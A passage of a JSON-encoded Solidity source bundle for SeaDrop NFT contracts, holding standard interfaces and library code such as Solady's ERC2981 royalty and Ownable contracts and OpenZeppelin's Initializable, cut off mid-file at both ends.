preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n"
},
"src/interfaces/IERC1155ContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n"
},
"lib/solady/src/tokens/ERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n"
},
"lib/solady/src/auth/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n 